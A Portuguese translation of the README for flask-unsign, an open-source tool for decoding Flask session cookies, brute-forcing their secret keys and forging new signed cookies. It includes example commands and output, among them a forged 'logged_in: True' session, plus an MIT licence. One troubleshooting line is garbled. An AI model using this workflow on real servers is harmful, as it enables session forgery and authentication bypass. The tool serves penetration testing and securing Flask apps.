
Ferramenta de linha de comando para buscar, decodificar, forçar por força bruta e criar cookies de sessão de uma aplicação Flask adivinhando chaves secretas.
Ferramenta de linha de comando para obter, decodificar, forçar por força bruta e criar cookies de sessão de uma aplicação Flask adivinhando chaves secretas. Para o componente autônomo de wordlist, visite o repositório flask-unsign-wordlist.
Para instalar a aplicação, basta usar o pip:
$ pip3 install flask-unsign[wordlist]
Se você quiser instalar apenas o código principal, omita o sufixo [wordlist]:
$ pip3 install flask-unsign
Para instalar a ferramenta para fins de desenvolvimento, execute o seguinte comando (após baixar uma cópia):
$ pip3 install -e .[test]
Para obter uma visão geral de todas as opções possíveis, basta chamar flask-unsign sem nenhum argumento, assim:
$ flask-unsign
Devido ao fato de que os cookies do Flask são assinados e não criptografados, é
possível decodificar localmente os dados da sessão. Para isso, você pode usar o argumento --decode.
Os cookies de sessão podem ser obtidos inspecionando suas requisições HTTP usando um proxy
como o Burp Proxy, usando o inspetor de rede do seu navegador ou usando uma extensão
de navegador para visualizar/alterar seus cookies. Por padrão, o Flask usa o nome de sessão
"session".
$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
{'logged_in': False}
Você também pode usar a funcionalidade automática de captura de sessão do Flask-Unsign
passando o argumento --server, em vez do argumento --cookie. No entanto, observe
que nem todas as páginas da web podem retornar uma sessão, portanto, certifique-se de passar uma
URL que retorne.
$ flask-unsign --decode --server 'https://www.example.com/login'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8
{'logged_in': False}
Após obter um cookie de sessão de exemplo, você poderá tentar forçar por força bruta
a chave secreta do servidor. Se tiver sorte, ela pode estar definida para algo fácil de
adivinhar ou, se foi encontrada online, pode estar em uma de suas wordlists. Para
isso, você pode usar o argumento --unsign.
$ flask-unsign --unsign --cookie < cookie.txt
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 351 attempts
'CHANGEME'
Depois de obter a chave secreta do servidor, você poderá criar seus próprios
dados de sessão personalizados. Para isso, você pode usar o argumento --sign.
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU
pip errado; tente usar
o seguinte comando: python3.6 -m pip install flask-unsign--legacy.--no-literal-eval.Se você está se perguntando como exatamente isso funciona, consulte meu post no blog, que explica isso em detalhes, incluindo um guia sobre como proteger seu próprio servidor contra esse ataque.
Licença MIT
Copyright (c) 2021 Luke Paris (Paradoxis)
É concedida permissão, gratuitamente, a qualquer pessoa que obtenha uma cópia deste software e dos arquivos de documentação associados (o "Software"), para lidar com o Software sem restrição, incluindo, sem limitação, os direitos de usar, copiar, modificar, mesclar, publicar, distribuir, sublicenciar e/ou vender cópias do Software, e de permitir que pessoas às quais o Software seja fornecido o façam, sujeito às seguintes condições:
O aviso de direitos autorais acima e este aviso de permissão devem ser incluídos em todas as cópias ou partes substanciais do Software.
O SOFTWARE É FORNECIDO "NO ESTADO EM QUE SE ENCONTRA", SEM QUALQUER TIPO DE GARANTIA, EXPRESSA OU IMPLÍCITA, INCLUINDO, MAS NÃO SE LIMITANDO ÀS GARANTIAS DE COMERCIABILIDADE, ADEQUAÇÃO A UM DETERMINADO FIM E NÃO VIOLAÇÃO. EM NENHUM CASO OS AUTORES OU TITULARES DE DIREITOS AUTORAIS SERÃO RESPONSÁVEIS POR QUALQUER REIVINDICAÇÃO, DANOS OU OUTRA RESPONSABILIDADE, SEJA EM UMA AÇÃO DE CONTRATO, ATO ILÍCITO OU DE OUTRA FORMA, DECORRENTE DE, FORA DE OU EM CONEXÃO COM O SOFTWARE OU O USO OU OUTRAS NEGOCIAÇÕES NO SOFTWARE.